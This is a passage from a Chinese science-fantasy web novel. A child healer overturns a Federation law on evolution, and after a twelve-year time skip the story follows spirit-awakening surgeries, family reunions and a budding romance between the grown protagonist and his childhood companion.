“还是说,您为的根本就不是联邦,而是您自己的权力!您是想要自己把控这独一无二的治愈异能,成为帝国皇帝一样的独|裁者吗!” 他们的话煽动性极强,而早早被安排进会场的水军也带着民众大喊道:“支持研究!支持公平!” 而就在这一片群情激奋中,被江砺护在怀中的又又却忽然开口道:“你们说,研究治愈异能是为了拯救异能病症的患者?” 霍华德抬起手,示意现场安静。 随后,他才用自己最温柔和蔼的态度,对又又道:“是啊,又又,虽然你用抽签的方法的确算得上公平公正,可对于这么多患者来说,还是太少了,我们要做的,就是研究出更多的治愈异能者,这样,你的压力也不会那么大。” 他见又又皱起眉头,便又补充道,“你放心,我们一定会好好保护你的。”顿了顿,又压低声音道,“你也不想因为你的拒绝,让你的爸爸和哥哥姐姐们因为违宪而坐牢吧?” 然而,小幼崽却歪了歪头:“可是,你们说的是错的啊!” 霍华德愣住了:“什么?” 小幼崽清脆的声音透过话筒传遍了整个会场。 “治愈异能病症,并不是靠治愈异能,而是真正的进化方向啊!” 第83章 又又的话说完后,现场顿时陷入了死一般的寂静。 直到几秒后,现场才像是轰然炸开了一般,激烈的讨论声几乎要将屋顶都冲破。 “真正的进化方向?!这是什么意思!” “难道我们生病是因为进化方向错了?!” “怎么可能错了!《异能法案》上都说了,异能才是进化的唯一道路,帝国的精神体才是异端!” …… 最终,还是由《异能法案》委员会出面,才暂时压制住了场中的喧闹。 委员会的一名委员面色不善地看着又又:“你凭什么说异能的进化方向是错的?!” 又又眨巴眼睛:“我没说这是错的啊!” “可是你……” “异能没有错,只是单单异能并不是最终的进化方向。”小幼崽耐心地解释道,又劝慰道,“伯伯,你不要这么激动,血压会升高的。” 委员:“!!!” 他这会血压是真的在升高了! 此时,霍华德已经从最初的震惊中回过神,慢慢冷静了下来。 他自然不相信又又的话,只当是他们为了将修订会延后,所以才故意说出这一番惊世骇俗的话。 至于又又口中所说的,异能的真正进化方向,他更觉得是无稽之谈。 当年的“普罗米修斯计划”调集了整个联邦最顶尖的人才,可结果呢…… 他可不相信,靠这样一个孩子,就能解决这个困扰了人类300年的难题。 他瞟了眼下面群情激奋的人,故意问道:“又又难道是想说,精神体才是真正的进化方向吗?” 这话一出,下面果然骚动起来。 连星网上也都在开骂。 【放屁!异能就是进化的真正方向,拥护精神体的都滚到帝国去!】 【这是还想再出现“普罗米修斯计划”的惨案吗!】 【一个小孩子懂什么啊!真是不知道天高地厚!】 所有人都目光灼灼地盯着又又。 然而小幼崽却并未如霍华德想象的那样掉入陷阱,他只是微微垂下眼睛,随后,他的额间竟缓缓生出了一对漂亮如冰晶般的鹿角。 众人:“!!!” 又又抬起头,看向呆愣的霍华德:“这就是啦!” 高清的全息摄像头将又又的模样完整地拍摄了下来,传到了星网之上。 哪怕是没有见过精神体的联邦人,也能察觉出这对鹿角的不一般。 原本还在质疑又又的人,也不禁开始动摇。 霍华德猛地咬紧牙关,指节攥得发白,强撑着道:“这只是一个案例,并不能说明什么!” 又又皱了皱眉:“可治愈异能也只有我一个案例啊?” 霍华德顿时张口结舌,说不出话来。 又又却叹了口气:“好吧,如果非要再有一个案例的话……希尔哥哥!” 随着他声音落下,一道身影赫然出现在了修订会现场。 不管是那标志性的银发紫眸,还是站在他身侧的银狼,都足以说明他的身份。 现场顿时一片哗然。 “这是……帝国的那位质子!” “他怎么会在这里!现场的安保是怎么回事!” “帝国狗滚出去!” 现场的护卫也很快反应过来,纷纷冲到他面前,想要抓住他。 可是下一秒,他的身影倏地消失在原地。 当他和身旁的银狼再次出现时,已经站在了又又身旁,亦步亦趋地保护着小幼崽。 一名委员气急败坏,指着他们道:“你们这是什么意思!” 霍华德握紧手中那根不合手的手杖,却是冷声对江砺道:“江元帅,这是联邦最重要的会议,你要让帝国人来搅局吗?” 江砺还没说话,又又便无辜道:“是你们说要看第二个案例的啊!” “什么?!” 此时,希尔身旁的银狼缓缓消失,而他的发间却冒出了一对毛茸茸的狼耳。 他抬起手指,指向了霍华德身旁的卡森。 卡森浑身一颤,眼神瞬间变得呆滞。 霍华德意识到了什么,转过头:“卡森,你怎么了?” 话还没说完,卡森忽然抬起手,狠狠地扇了他一巴掌。 清脆的声音瞬间回荡在整个会场。 原本嘈杂的会场立刻安静了下来。 卡森那一巴掌力气极大,霍华德被打得脑袋嗡嗡作响,半天都没有回过神,脸颊上更是浮起一个鲜红的巴掌印。 而希尔也在此时收回了手。 卡森的眼神从迷茫渐渐清醒,这才发现所有人都在看自己,慌忙道:“怎、怎么了?” 他下意识看向霍华德,却发现霍华德偏着头,脸上赫然印着一个巴掌印。 他愣住了,脱口而出:“议长,谁敢打您?!” 霍华德神情惊怒,恨不得给这蠢货打回去。 只是,比起愤怒,他心里却埋着更深的恐惧,他决不能让这次修订会就这样无疾而终。 他猛然抬起头,还想说什么,大门却再次打开。 这次进来的,竟然是联邦最高法院的人。 “霍华德议长,您涉嫌叛国罪、走私罪、贪污受贿等多项罪名,请和我们走一趟!” 霍华德身体一软。 可是此时,已经没有人再关注他了。 所有人,包括摄像头,都对准了又又和他身旁的希尔。 不管是晶莹剔透的鹿角,还是威风凛然的狼耳。 都在宣告着,新的时代即将来临- 十二年后。 蔚蓝星区医疗中心,特殊手术室。 这里正在进行一场精神体觉醒手术。 经过十二年的发展,在又又的引导和帮助下,这项手术已经渐渐走向了成熟。 刚开始进行手术的时候,联邦反对的声浪不小。 但随着第一例患者手术成功,并且成功自愈异能病症后,支持者便渐渐增多。 当然,也不是每个人都适合做这项手术的。 每一名患者都要经过多项检查,确认符合要求才能进行手术。 这次接受手术的是一名十三四岁的小女孩,负责手术的正是乐清沅。 小女孩一点都没有即将要接受手术的紧张感,反而一直问乐清沅:“乐医生,等我做完手术,我的背上真的会长出蝴蝶翅膀吗?” 这几年,拥有精神体渐渐成为了一种新的时尚,尤其是不久前,一名拥有蝴蝶精神体的偶像明星爆红,更是掀起了一番热潮。 对于小女孩的问题,乐清沅有点头疼,只能再次跟她强调:“一会我们会用特定波段刺激你的意识核心,唤醒远古病毒的基因片段,这个过程会十分痛苦,但你一定要保持清醒,我们会辅助你凝结精神体……” “知道啦知道啦!你都说了好多遍了!”小女孩挥了挥手,“我们赶紧开始手术吧,等开学我还要给我同学看呢,到时候羡慕死他们!” 乐清沅:“……” 他看着兴奋得过了头的小女孩,示意了一下旁边的护士,低声道,“去看看又……江医生在不在,要是他在,就去请他过来。” 吩咐完这些,乐清沅才安排小女孩躺到特制的手术台上。 随着手术开始,乐清沅等人都退出了手术室,房间里只剩下等待手术的小女孩,她这才感觉到有些害怕。 一开始的波段还比较柔和,她只是微微地皱起眉,但很快,随着波段增强,她的神情顿时一变,捂着肚子惨叫起来。 乐清沅凝神看着她的身体数据监控。 这种特定波段,是他们和又又经过很多次研究才确定下来的,已经是最温和的刺激手段了,但即便如此,很多人还是扛不住这种痛苦。 乐清沅分心看了眼手术室内的小女孩,她的反应比自己预想的要激烈很多。 虽然按她此刻的数据,还没有到最合适的时机,但乐清沅还是当机立断:“释放精神体诱导喷雾。” 他话音落下,手术室内慢慢喷射出一道道淡绿色的喷雾。 这喷雾也是又又研究出来的。 能够让患者更快凝结出精神体。 雾气缓缓地聚集到了她的脊背处,随后,一对透明纤细的翅膀慢慢成型。 眼看着小女孩的挣扎变得没有那么剧烈。 乐清沅刚松了口气,谁知监控却忽然发出刺耳的声音,紧接着,手术室的小女孩再次疯狂地挣扎起来,还未完全成型的翅膀竟在不断异化。 乐清沅倒吸了一口凉气,厉声喊道:“关闭精神体诱导喷雾,注射镇定剂……” 但已经来不及了。 那对异化的翅膀像一只水蛭般,正在疯狂地吸食着小女孩身上的生命力,不过短短十几秒,那对纤细的翅膀竟骤然膨胀到了十几倍的大小,几乎将整个手术室都填满。 警报声越发急促刺耳,小女孩的身体监控数据正在以肉眼可见的速度不断恶化。 乐清沅几乎用上了他所能想到的一切办法,作用却极其微弱。 正当所有人都陷入绝望的时候,大门打开,一道身影走了进来。 “打开手术室大门,我来解决。” 听到这个熟悉的声音,乐清沅仿佛听到了救命的仙音一般,眼睛骤然亮了起来:“又又!” 穿着白大褂的身影掠过他的身边,栗色卷发被塞在了手术帽里,脸上戴着口罩,只露出一双绿色的眸子,朝他微微地弯了弯。 只是这样一个动作,便让乐清沅原本提着的心放下了大半。 手术室的大门被打开,那对异化的精神体翅膀像是察觉到了危险一般,猛然刺向门口,却被一只白皙的手拦住。 又又看向几乎被病气填满的手术室,毫无顾忌地走了进去。 而原本张牙舞爪的病气,在靠近他的瞬间,就被吸纳进了他的身体里。 与此同时,他的额角也缓缓生出一对透明的鹿角,只是比起幼年时圆润可爱的小鹿角,现在的鹿角长大了许多,也变得威严了许多。 他探出手,点在了翅膀的根部,将那团肆意生长的病灶吞噬进去。 在手术室外的众人,只看到他的指尖点在精神体上,原本膨胀的精神体竟缓缓回缩,直到恢复成正常的大小。 那竟是两对翅膀,薄而透明,翅脉呈现清晰的网状,此刻正微微地翕动着。 一旁的护士小声惊呼:“是蜻蜓的精神体!很罕见呢!” “听说昆虫类精神体觉醒时很容易出现异常,幸好这次有江医生在!” “江医生虽然年纪很小,但真的让人很有安全感呢!” …… 又又并不知道外面的讨论,而是看向那名小女孩,关心地问道:“你还好吧?” 小女孩睫毛颤了颤,艰难地睁开眼睛,迎面便撞上了一双如湖水般澄澈的绿眸:“我……怎么了?” 又又耐心地解释道:“你在手术过程中发生了意外,但现在已经没事了。” “意外……”小女孩的记忆缓缓回笼,这才想起刚刚发生了什么,脸色顿时变得惨白,“是……是你救了我吗?” 又又还没来得及说话,她却像是忽然意识到了什么:“你……你是治愈师!!” 这些年,不管是异能病症被彻底治愈、罕见病相关的研究,还是精神体觉醒,都和治愈师脱不开关系,他的名声几乎响彻了整个联邦。 不过又又不喜欢张扬,除了当年在《异能法案》修订会上那次,之后便很少出现在公众面前。 大众只知道,他是栗发绿眸,今年也不过刚刚成年而已。 小女孩也只是看到那双绿眸,才脱口而出,可见他没有反驳,这才意识到真是正主! 她当即顾不得虚弱的身体,一骨碌爬起来:“我……我能跟你合个影吗?” 又又:“……啊?” 小女孩眼睛亮晶晶的:“我的同学全都是你的粉丝!我要是能跟你合影,他们肯定会羡慕死我的!好不好?求求你了……” 最终,又又也没有办法,只得戴着口罩跟她合了个影。 等到她被送去病房,他才舒了口气,取下脸上的口罩,露出那张过分年轻的脸。 乐清沅连忙迎上来:“幸好你在,又又,要不然她的性命恐怕就不保了……” 又又笑了笑:“没关系。” 和小时候相比,他脸上的婴儿肥彻底没有了,一张脸介于少年和青年之间,五官清秀漂亮,身形也因为抽条的关系显得有几分纤瘦。 然而他走动间,却自有一番灵动矫健,生机勃勃的样子。 这些年,乐清沅也是看着他一点点长大的,从一个软乎乎的小幼崽,慢慢成长为整个异能医学界举足轻重的人物。 想到这里,他又笑道:“老师他们怎么舍得把你放出来?” 最近这段时间,又又和章教授他们在研究新课题,时常泡在研究室里。 乐清沅之前让护士去找他,也只是抱着万一的念头,没想到他居然真的在,这才挽救了一条生命。 “我自然有办法!”又又狡黠地眨了眨眼睛,透出几分小时候的模样,见乐清沅眉宇间还残留着一丝担忧,便主动透露道,“清沅哥哥,我和章教授他们最近在研究精神体预测,能在手术前,便模拟出患者的觉醒精神体,以后像今天这样的事情就不会发生了。” “真的吗?!”乐清沅又惊又喜。 这些年,精神体觉醒手术虽然已经很成熟,但觉醒的精神体因为不同特质,也会出现各种各样的问题,经常让他们措手不及。 如果能够提前模拟出患者的精神体,不管对医生还是患者来说,都能安全很多。 他还想再多问几句,又又却已经先一步脱掉了白大褂,递到乐清沅手里:“我先走咯,清沅哥哥明天见!” “诶!” 乐清沅来不及叫住他,就看到一台悬浮车稳稳地停在他的身前。 车窗打开,露出一张俊美异常的脸。 正是希尔。 希尔自从觉醒异能后,帝国那边便瞬间炸开了锅,各种骂他是叛徒什么的。 不过希尔完全不在意,甚至因为在外事区住不下去,江砺还让他搬到了元帅府。 他只觉得是因祸得福了,从那以后他便和又又青梅竹马一同长大。 直到又又进入了医疗中心,他便主动接手了又又护卫队长的职责,贴身保护又又。 希尔一见到又又,原本冷冽的表情便瞬间变得柔和:“下班了?” “嗯!”又又钻进悬浮车里,又朝着乐清沅挥了挥手,“清沅哥哥再见!” “再见……” 乐清沅的话还没说完,悬浮车便一溜烟跑了,只留下一道尾烟。 乐清沅:“……” 该说不说,这个场景真是该死地熟悉啊!! 他拿着又又的白大褂,正要回去,就看到自己的老师章康教授气喘吁吁地跑过来:“又……又又呢?” 乐清沅迟疑地指了指天上:“刚走……” “哎呀!刚出的结果!”章康直拍大腿,又没好气道,“你怎么不拦着他?!” 乐清沅:“……” 他拦? 他是能拦得住希尔的精神控制,还是能拦得住那头比他还高的银狼呢? 章康显然也想到了这点,揉了揉额角,最后郁闷地咕哝了一句:“都是帝国人的错!!” 乐清沅:“……”- 此时,偷溜成功的又又正坐在后座翻零食吃。 小时候,因为被哥哥姐姐管控吃零食,他就一直让希尔隐身帮他偷渡。 希尔也就习惯了会在身上带点辣条或者薯片什么的。 现在他们长大了,哥哥姐姐对又又的管控放松了,但两人这个习惯却留了下来。 又又撕开一包辣条,“吭哧吭哧”地吃了大半包,才长舒一口气:“爽!” 希尔设置了自动驾驶,也走到后座。 他比又又大六岁,相比于又又还残留着一点少年人的气息,他已经全然是成年人的模样了。 高大的身形让原本宽敞的空间都显得有几分逼仄。 略长的银发被扎在了脑后,一双紫眸深邃神秘,注视着人,仿佛要将人吸进去一般。 他坐在又又身旁,熟稔地拿纸替他擦掉嘴巴上的辣油。 又又早就习惯被他照顾,微微仰起头,好让他擦得更方便一点。 弧度漂亮的唇因为被辣油浸润,比平日要多了几分色泽,唇瓣饱满,露出一条细细的缝隙,隐约可见淡粉的舌尖。 希尔的动作顿了顿,收回纸巾,但尾指却不小心蹭到了柔软的唇瓣。 他只觉得被蹭到尾指也仿佛被辣到了般,微微发烫,下意识蜷起了手指。 又又却浑然未觉,还在跟他说话:“二姐说,黑市里现在竟然还在偷偷做精神体觉醒手术,指标明明就不符合,也强行去做,说是死了好几个人……” 希尔有些出神,并没有立刻回答他。 又又说了半天也没有等到他回答,疑惑道:“希尔哥哥,你怎么了?” 希尔被他的声音唤回,顿了顿道:“没什么。” “你是不是累了?”又又皱起眉头,伸手就将他身上那一缕病气吃掉,“失眠、焦虑、上火,还有……” “我没事!”希尔忽然出声,打断了他的话,“离到家还有一段时间,你先休息一会,我去手动开车,更稳一点。” 他说完,便又重新回到了驾驶室,将自动驾驶改回了手动。 只留下又又怔怔地看着他的背影。 希尔哥哥这是怎么了? 第84章 悬浮车很快便进入了元帅府。 下了车,又又下意识去牵希尔的手,没想到希尔僵了一下。 “希尔哥哥,你怎么了?”又又疑惑地问他,“你这几天都有点怪怪的,是发生什么事了吗?” 希尔抿了抿唇。 他的掌心与又又的掌心相触,明明是早已习惯的姿势,他却在此刻感受到了一些不一样的意味。 心脏仿佛要从胸腔里跳出来,掌心仿佛也沁出了微微的汗意。 他根本无法控制自己的生理反应,唯恐又又察觉出什么,只能避开他的目光:“没事……” 又又立刻便意识到希尔有事瞒着他,这让他有一点小沮丧。 两人这些年同吃同住,相伴着一起长大,更是彼此坦诚,有什么都会告诉对方。 这还是希尔哥哥第一次隐瞒他。 希尔看到又又垂下的头,心里微微一痛。 他想说,可是张了张口,却又闭上了。 他不想瞒着又又,可那些事情又怎么能告诉他呢? 两人就这样沉默着进入了房间。 宁叔正在指挥大扫除,见他们进来,立刻便笑着道:“小少爷,希尔殿下,大少爷已经回来了,正在书房和元帅谈事情。” 又又立刻抬起头,惊喜道:“大哥回来了?什么时候!” “一个小时之前。”楼梯上方传来江从谦的声音。 又又愣了一下,朝着楼梯的方向看去。 江从谦站在楼梯口,手搭在扶手上。 身上是还没有换下来的深灰色西装,背光的身影竟恍然有几分陌生,让又又都有点不敢认。 这次江从谦去巡视产业,出差了大半年。 这还是又又被找回来后,和大哥分开最长的时间。 见他有几分踟蹰,江从谦主动走下楼。 镜片后的灰眸带着温和的笑意,朝他张开手臂。 这熟悉的动作,让那点陌生瞬间消失。 又又松开希尔的手,朝着大哥跑去:“大哥!我好想你呀!” 江从谦熟练地抱了抱弟弟:“给你们带了礼物,已经放你们房间了。” “嘿嘿~”又又抱住大哥的手臂,满足道,“谢谢大哥,大哥最好了!” 江从谦眼底漾起笑意,抬手揉了揉又又的栗色卷毛。 但下一秒,又又便皱起眉:“大哥,你又没有好好休息,严重睡眠不足、异能消耗过度……” 江从谦:“……” 他光想着早点回来见家人了,差点忘了,在又又面前,他这身体是一点隐私都没有。 江从谦神色未变,却是不动声色地转移话题:“希尔也回来了,我听说前几天帝国那边又来找你了,还能应付吧?” 当初,希尔觉醒异能后,帝国那边怒不可遏,声称要与他断绝关系。 但这些年下来,联邦双觉醒的人越来越多,这些人不仅身体素质更好,而且也没有异能病症,或者精神体的病痛,几乎是验证了又又所说的最终进化论。 于是,帝国的态度也变了。 这几年一直想办法修复和希尔的关系,甚至想让他带又又回帝国。 希尔自然是懒得理会的。 因而,听到江从谦的问题,他只是淡淡地点了个头。 江从谦他们早就习惯了希尔的态度,除了面对又又,对其他人他是要多冷淡就有多冷淡,对他们也是如此。 谁知,又又听到他们的话,竟露出了若有所思的表情。 江从谦将他的表情记在心里,等希尔离开,才问道:“又又,你和希尔之间,发生了什么事吗?” 刚刚两人进门,他就注意到了。 虽然他们和往常一般牵着手,但又又的神情看着有些低落,希尔也有些不自然的样子。 他们俩从小一起长大,别说是冷战了,几乎连架都没吵过。 关系有时候好到,有时候连他这个亲大哥都会嫉妒。 像现在这样的情形,可以说从未在两人身上发生过。 果然,听到大哥的问话,又又神情凝重地点了点头:“希尔哥哥最近是有点怪怪的……” 江从谦眉头一挑:“哦,怎么怪了?” 又又皱起眉头:“他最近总有点躲着我,说话也不看我了,哦,他还失眠焦虑,大哥,你说是不是帝国那群坏人又欺负他,给他施压啊?” 江从谦:“……” 看着弟弟忧心忡忡的样子,他很是无语。 希尔怎么可能被欺负! 他根本就没拿帝国当回事,当初帝国那边也不是没有强硬过,结果被希尔用精神控制他们自己人互殴,脸都被揍成猪头了。 后来,帝国那边就改变战略,变成怀柔了。 江从谦根本不觉得,帝国那边能给希尔造成什么影响。 倒是他这些反应…… 可还没等江从谦开口,大门再次打开,江昭晏大步走了进来。 这些年江昭晏屡立战功,已经从少将升到了中将,距离上将也是一步之遥。 “大哥!又又!” 又又立刻就忘记和大哥的讨论,朝着二姐迎了上去。 两姐弟还是跟小时候那样叽叽喳喳地聊着天。 江昭晏最近在忙着查黑市那边的精神体觉醒手术案,忙得焦头烂额,今天好不容易才抽出空回来。 “已经查到人了吗?”又又忍不住问。 之前二姐他们打击了一处手术点,救了好几个手术失败的人,都是危在旦夕,只能送回来给又又救治,但路上还是有两人去世了。 而又又救下的三人,不仅没有觉醒精神体,还因为异能源损伤严重,连异能也失去了。 想到这里,又又就既愤怒又惋惜。 江昭晏说道:“他们很警惕,走之前几乎把所有证据都毁掉了,好在有见微,修复了光脑上的证据,可以通过这个查到他们联络的办法,说不定就能把人给抓住。” 又又这才松了口气。 只是听到江昭晏说起三哥,忍不住又压低了声音:“三哥还跟爸爸生气呀?” 这些年下来,他们一家人因为又又,关系渐渐弥合。 虽说不如旁人家亲密,但每周一次家人聚餐的习惯却是渐渐保留了下来。 不过,一个月前,江见微和爸爸因为一件小事大吵一架,连着几周都没有回来吃饭了。 江昭晏叹了口气:“我打了通讯给他,他说最近星网升级,他太忙了,真是,他还能有我忙?不就是拉不下面子,不想回来吗?” 江见微自从基因缺陷被又又修复后,就建立了自己的工作室,后来更是直接被挖到了星网系统,成了总工程师。 他看着脾气好,实则性子格外执拗,否则当初也不会因为基因缺陷,就一个人跑到能源星上去住着了。 这次本也是小事,奈何当时又又正在实验室忙着,不在家,江从谦也在外出差中。 江昭晏原本想劝架来着,结果越劝,江见微和江砺反而吵得越厉害,最后就以江见微离家出走结束。 江昭晏满脸苦涩:“还好你和大哥回来了,我真是宁愿去跟星盗或者反叛军干架,也不想再经历这种事情了!” 又又同情地拍了拍二姐,又眨巴了一下眼睛:“没事的,二姐,我跟爸爸说了,也给三哥发信息了,他答应我今天会回来的。” “太好了!”江昭晏恨不得抱着弟弟亲一口,奈何曾经的小幼崽已经长大了,最后只能用力地揉了揉他的头发,表达自己的感激之情,“又又宝贝真是太贴心了!!” 又又脸颊微红,虽然成年了还被叫宝贝,有点点害羞,但他还是像小时候那样,昂起下巴:“那当然!” 希尔进来时,正好看到这一幕,目光顿时一凝。 梦中的画面又一次出现在他的脑海中。 殷红的唇,雪白的下巴,还有柔软的腰肢…… 他的心脏立刻不规则地跳动起来。 他喉结滚了滚,连忙闭上眼睛,将这些画面从脑海中挥去。 而他的行为,正好被一旁的江从谦看了个正着。 江从谦微微地皱起眉。 而此刻,江砺也处理完了公事,走出书房。 才刚走到楼梯口,便听见又又和昭晏的声音,时不时还有江从谦几句搭话。 如此热闹非凡,早就不是曾经那个孤寂清冷的元帅府。 江砺下意识露出一个笑容,可随即又收敛起来。 他看着通讯器上的那个名字,最终还是放下了心里那点纠结,给江见微发了一条信息。 这些年,他也改变了许多。 谁能想到,他都是四个孩子的父亲了,却在幼子身上,才学会了如何做一个合格的父亲。 正如又又所说,自家父子,何必还要分个是非对错呢? 于是,等他下来的时候,正好撞上风尘仆仆回家的江见微。 两人见到彼此,竟都有些尴尬,一时无言。 最终还是又又站起来,夸张地喊道:“宁叔,什么时候开饭呀!我快饿死了!” 原本冷滞的气氛才缓缓开始流动。 江昭晏偷偷给又又比了个大拇指。 又又也回了个“一切交给我”的眼神。 姐弟俩并肩朝餐桌走去,只是在即将入座的时候,又又便下意识回头去找希尔:“希尔哥哥,你跟我一起坐吧。” 江昭晏早就习惯了。 从希尔搬到元帅府之后,一开始又又是担心他不习惯,所以每次吃饭都会挨着他一起坐。 谁能想到,长大了,这习惯也没有改变。 可没想到,江从谦却忽然道:“又又,今天你跟大哥坐一块。” 又又愣了一下。 “怎么?嫌弃大哥?”江从谦半开玩笑道。 “没有。”又又忍不住又回头看了眼希尔,却见他似乎有些出神,仿佛并没有注意到他被大哥叫过去。 又又抿紧嘴唇,难得有一点点生气,于是重重地踏着步子朝大哥身边走去。 谁知,他刚迈开腿,手腕就被人抓住了。 希尔虽然内心仍旧兵荒马乱,但身体却已经先一步理智行动了。 “希尔哥哥?” 看着又又疑惑的眼神,希尔却并未松开手,反倒握得更紧了些:“我……想跟你坐一起。” 江从谦不禁眯起了眼睛。 但下一秒。 “好呀。”他回握住希尔的手,拉着他在江从谦身边坐下,“这样就好啦!” 江从谦:“……” 希尔:“……”《 》 【全文完】 第85章 吃过饭后,江昭晏便拉着又又和江见微,去讨论黑市手术的事情。 而又又只一个错眼,就没有看到希尔了。 见他左顾右盼,江昭晏没忍住,把他的脸掰回来:“别看了,希尔还能在元帅府失踪了?” “我又不一定是在找希尔哥哥……”又又哼了一声,“说不定我是在找大哥呢!” 江昭晏还没说话,一旁的江见微便幽幽道:“这话,我都不信。” 又又:“……!” 江昭晏却若有所思道:“说起来,我刚好像看到希尔和大哥一起出去来着……” “希尔哥哥和大哥?”又又瞬间瞪大了眼睛。 不怪他惊讶,实在是这两个人怎么看都不像是有话聊的样子。 这些年,他们俩顶天就是见面打个招呼,私下里几乎没有说过话。 别说又又好奇,江昭晏和江见微也很好奇。 就在两人怂恿又又一起去偷听的时候,江从谦和希尔竟一前一后地回来了。 两人的神情都一如往常,完全看不出他们刚刚说了什么。 “什么嘛!这么快!”江昭晏吐槽,为没有看到大哥的八卦而郁闷。 又又却有些怔愣。 他刚刚似乎看到希尔哥哥身上有一缕受伤的病气! 难道……大哥竟然揍了希尔哥哥?! 可是为什么呀! 而且,希尔哥哥身手极好,不仅拥有银狼精神体,还有精神控制的异能,平常都只有他打别人的份,怎么会被大哥一个脑力异能者给揍了?! 又又百思不得其解,想问吧,又怕伤了希尔的自尊心。 最后只能将这个问题埋在了心底。 而且,自从那天从元帅府回去后,希尔就忽然开始变得很忙碌。 换做以前,希尔接他回来之后,两人要么坐阳台上看星云聊天,要么一起去星网上玩一会。 就算又又有事忙碌,但只要一抬头,就能看到希尔。 可是最近,希尔将他送回公寓后,就会匆匆忙忙出门,有时候甚至会忙到凌晨才回来。 又又这才发现,除去实验室的时候,他平常几乎时时刻刻和希尔待在一起。 因而,希尔稍微一忙碌起来,他顿时就觉得不习惯了。 “又又,你怎么了?”章康教授看着忽然发呆的又又,忍不住担忧地问道。 又又回过神:“我没事,我们继续吧。” 章康教授却按住他的手:“你最近是不是太累了?要是累,你不如休息两天,我们的项目也没有这么急的。” 又又都愣住了。 这还是那个卷起来恨不得不眠不休的章老吗! 其他研究员也都跟着附和:“是啊,江医生,你还是好好休息几天吧!” 又又哭笑不得:“我没事。” 他晃了晃脑袋,把无关工作的事情都晃出去,恢复了往日的专注。 等到忙完去吃午饭的时候,他正想着希尔的事情,却忽然听见两个研究员在聊天,他只听到了帝国相关的关键字,便急忙走过去:“不好意思,你们刚刚在说什么?” 两个研究员看到他也很惊讶:“江医生?” 两人对视了一眼,才迟疑道:“我们在说帝国不久前的政变,听说大皇子忽然暴毙,余下的几个皇子和公主争权,听说那边如今政局动荡,闹得不可开交呢……” “江医生,你不知道这件事吗?” 又又这才恍然。 难怪章教授他们对着他,总是一副欲言又止的模样,估计是以为他因为希尔在忧心这些事情吧。 但其实他这几天忙于实验,闲暇时又惦记希尔,根本无心去理会这些琐事,所以根本就不知道这件事。 难道,希尔哥哥最近的忙碌是因为这件事? 又又心事重重地下了班。 谁知刚走出医疗中心,就发现希尔已经开着悬浮车在那里等他了。 “希尔哥哥!” 希尔走下悬浮车,来到他面前。 又又这才发现,他竟比自己高了大半个头。 希尔的身形并不算壮硕,但肩宽腿长,极有存在感。 再加上他那张美得很有距离感的脸,简直压迫感十足。 这些年下来,随着联邦和帝国的关系逐渐缓和,彼此之间通商、旅游、学习,联邦人对于帝国人也不再像之前那样敌视。 又又看到好几个想要上去搭讪的,只是被希尔冷冷一瞥,都给吓退了。 只是在看到又又的瞬间,他脸上冷冽的表情瞬间融化,温声问道:“今天很忙吗?怎么这么晚才出来?” 又又眨了眨眼睛,他敏锐地察觉到,从前的希尔哥哥又回来了。 希尔朝他伸出手:“走吧,回家。” 又又迟疑着将手放到希尔掌心,随后就被希尔牢牢握住。 又又这才发现,希尔的手竟然比他的大一圈,将他的手掌严严实实地裹在掌心里。 他们从前也牵手,但他却觉得,此刻好像有些不一样。 而希尔也没有之前躲闪僵硬的模样。 他护着又又上了车,随后也跟着坐了进去。 他的腿挨着又又,灼灼的热度隔着裤子传到了又又身上,让他忍不住扇了扇,把悬浮车温度降下来一点。 “热?”希尔问道。 又又点点头:“有一点。” “等会。”希尔说着,忽然侧过身体,整个身体朝又又俯过来。 他一只手臂撑着座椅,另一只手臂则越过又又。 从后方看去,几乎像是把又又整个搂进怀中。 微凉的银发轻轻搔过又又的脸颊,两人的呼吸也有一瞬的交错。 明明两人的身体之间还有不少距离,但又又的心脏还是瞬间剧烈地跳动起来,连呼吸也微微急促。 他第一次觉得这台悬浮车的内部空间有点逼仄。 希尔很快就将手收了回来,手里拿着一支冰激凌,递到又又面前。 又又感受着面前的凉意,愣了一下:“给我的?” “嗯。”希尔熟练地替他把包装袋撕开,“火锅味的冰激凌,你不是一直想试试吗?” “哦……” 又又慢了半拍才接过冰激凌,手指却不小心碰到了希尔的皮肤。 比起散发着凉意的冰激凌,希尔的手指温度却有些高,烫得又又下意识松开手,好在希尔及时反应过来,这才没有把冰激凌掉在身上。 希尔叹息一声,声音似乎有些哑:“我喂你吧。” 又又就着他的手,轻轻地咬了一口冰激凌。 但不知道为什么,对这个一直好奇口味的冰激凌,他居然完全尝不出味道。 又又就这么神思不属地吃完了半个冰激凌。 剩下的半个,希尔就不许他再吃了,转而塞进了自己嘴里。 又又看着被自己舔得乱七八糟的冰激凌,被希尔毫不在意地咬下去,倏地睁大了眼睛。 明明小时候,两人也经常同吃一个冰激凌。 但又又却第一次生出了几分不同的情绪。 又又自从进入医疗中心后,便搬到了医疗中心附近的公寓居住。 说是公寓,实则安保严格,居住在这里的,几乎都是医疗中心的教授或者医生。 两人走进去,迎面便撞上了一名急匆匆往外跑的医生。 希尔反应迅速,连忙扣住又又的腰往旁边一带。 “没事吧?” 又又摇摇头,刚想往前走,却发现希尔扣在他腰侧的手并没有松开。 “希尔哥哥你……” 又又下意识抬起头,却发现希尔眸色深沉,里面涌动着自己看不懂的东西。 而下一秒,希尔的神色便恢复如初,扣在他腰侧的手放开,转而握住他的手:“走吧。” 又又怔怔地跟在他身后。 两人从小一起长大,默契十足。 有时候甚至不需要说话,只要一个眼神就能明白彼此的意思。 可如今,又又却觉得,自己好像有些看不懂希尔了。 以至于他原本想问希尔关于帝国的事情,也给忘了。 接下来几天,他们之间的相处,好像恢复到了从前的模样,可又好像有什么不一样了。 但又又很快就无心去想这些了。 和章康教授的实验进入了关键阶段,他几乎整日整日泡在实验室,累到话都不想说。 等希尔接他下班的时候,还没说几句话,一转头,他竟已经靠在悬浮车里睡着了。 希尔叹了口气,心疼地摸了摸他瘦了的脸蛋。 随即将他打横抱起,回到公寓。 虽然在睡梦中,又又也能感觉到熟悉安全的气息,脑袋依恋地往希尔胸口靠了靠。 希尔脚步顿了顿,抱着他的手也微微一紧。 但很快,他就再次迈开步子,抱着他走进公寓。 这间公寓是两人一起住的。 客厅布置得极为温馨,所有的东西都有着一模一样的两份。 一样的水杯、抱枕、毛巾…… 过于可爱的玩偶和锋锐无匹的机甲模型摆在一起。 气质截然不同,却又相得益彰。 希尔抱着又又进入他的房间。 即便已经成年了,又又和小时候的喜好也没多大差别。 房间里摆满了各式各样的玩偶,在最醒目的地方,还有蛋壳小鸡的限量版手办。 